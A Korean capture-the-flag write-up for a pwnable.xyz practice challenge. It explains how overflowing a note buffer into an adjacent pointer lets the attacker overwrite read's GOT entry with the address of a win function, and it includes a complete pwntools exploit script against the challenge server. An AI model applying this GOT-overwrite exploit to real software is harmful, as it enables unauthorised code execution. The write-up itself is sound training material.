How to Exploit
edit_note 함수는 len을 입력받고 그만큼 malloc으로 할당해준 뒤 그만큼 입력하고 s에 복사하고 free 함수에 의해 해제된다.
edit_desc 함수는 buf의 값이 0이 아니라면 0x20만큼 할당해주고 buf에 값을 입력한다.
이 문제 또한 system 함수를 호출하는 win 함수를 가진다.
Design the Payload
- s와 buf의 거리가 32밖에 되지 않아 s에서 buf를 덮어씌울 수 있다.
- edit_desc 함수의 경우 read 함수로 리턴하므로 read 함수의 got 값을 win 함수의 주소값으로 전환시키면 된다. read_got를 먼저 s를 이용해 buf에 넣어주고 buf에 메모리가 할당되었을 때 read_got에 win 함수의 주소를 overwrite하자.
Exploit Code
from pwn import *
#p=process('./challenge')
p=remote('svc.pwnable.xyz', 30016)
win_add = 0x40093c
read_got = 0x601248
p.sendlineafter('> ', '1')
p.sendlineafter('len? ', '45')
p.sendlineafter('note: ', 'A'*32+p64(read_got))
p.sendlineafter('> ', '2')
p.sendlineafter('desc: ', p64(win_add))
p.sendlineafter('> ', '2')
p.interactive()
Capture The Flag
'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글
TLSv00 (0) | 2020.03.07 |
---|---|
Sub (0) | 2020.03.07 |
Misalignment (0) | 2020.03.07 |
GrownUp (0) | 2020.03.07 |
Add (0) | 2020.03.07 |